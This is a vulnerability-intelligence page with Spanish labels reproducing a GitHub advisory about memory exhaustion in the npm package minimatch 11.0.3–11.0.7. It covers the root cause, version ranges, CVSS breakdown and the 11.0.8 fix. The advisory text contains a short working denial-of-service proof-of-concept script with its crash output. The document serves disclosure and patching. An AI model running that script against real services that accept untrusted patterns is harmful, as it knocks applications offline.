llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · minimatch

GHSA-HQMV-QGP3-JX75

Global pattern cache retains large expansions, enabling memory exhaustion

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.9
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición8 dDesde la divulgación, 11 nov 2026, 4:50 a. m.
Detección7 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 11.0.8
Monitoreo
Detectada +1
11 nov 26
18 nov 26
20 nov 26
11 nov 26
13 nov 26
15 nov 26
18 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HQMV-QGP3-JX75 divulgada · CVSS 5.9 (GitHub)
Remediación Parche 11.0.8 minimatch · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

minimatch 11.0.3 through 11.0.7 retain the 256 most recent compiled `Minimatch` objects in a module-level cache. The cache is bounded only by entry count; each object can retain up to 100,000 expanded pattern rows. An application that passes untrusted, unique patterns to the top-level `minimatch()` function can therefore be terminated with a few very small inputs.

Root cause

Commit `52d2aecceb71dae7f1b19675e74e044eb472c1e6` changed `minimatch()` to store each compiled object in a 256-entry `Map`. The key includes the complete pattern and options, so unique attacker-controlled patterns create distinct retained entries. There is no total cache-weight or per-entry expansion limit below the existing `braceExpandMax` default of 100,000.

The cache first ships in 11.0.3. Version 11.0.1 is a confirmed negative control.

Proof of concept

Install minimatch 11.0.4, save as `poc.mjs`, and run with `node --max-old-space-size=128 --expose-gc poc.mjs`:

import { minimatch } from 'minimatch'

for (let i = 0; i < 4; i++) {
  const pattern = `{1..100000}/unique-${i}`
  minimatch('no-match', pattern, { optimizationLevel: 2 })
  global.gc()
  console.log(i + 1, process.memoryUsage())
}

On 11.0.4, the process terminates with:

FATAL ERROR: Ineffective mark-compacts near heap limit
Allocation failed - JavaScript heap out of memory

The same command exits normally on 11.0.1. With three calls and the normal heap limit, forced-GC heap grew from 4.36 MB to 112.27 MB and RSS from 50.9 MB to 262.7 MB.

As a smaller repeated control, ten independent processes each compiled ten unique 5,000-expansion patterns. On 11.0.4 the cached top-level function retained a median 17,371,504 heap bytes after forced GC. The direct `new Minimatch()` control retained 234,000 bytes, and the 11.0.1 top-level function showed no measurable retained-heap growth.

Impact

Applications that accept attacker-controlled glob patterns and call the top-level `minimatch()` function can be crashed through memory exhaustion. Applications using only trusted patterns are not exposed. No confidentiality, integrity, filesystem, or code-execution impact is claimed.

Confirmed affected: 11.0.3 through 11.0.7. No patched version is currently available.

Suggested remediation

Bound the cache by total retained weight or expansion count and do not cache large compiled patterns. Removing the global cache or making it opt-in for trusted patterns would also prevent the retention.

Duplicate review and disclosure

Public issues, pull requests, and advisories were searched for cache retention, OOM, `braceExpandMax`, and the 256-pattern cache. Issues #269 and #270 discuss caching performance but do not document this retention/OOM condition.

OpenAI Codex assisted with source review, local reproduction, negative controls, version analysis, duplicate checks, and drafting. All tests were local; no external service was contacted. The account owner reviewed the evidence and explicitly authorized this private submission.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
minimatch≥ 11.0.3 ≤ 11.0.7
11.0.3
11.0.7
11.0.8
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmminimatch
Corregida 11.0.8 0 d 11.0.8 no afectada
Versiones corregidas11.0.8
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/isaacs/minimatch/security/advisories/GHSA-hqmv-qgp3-jx75

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.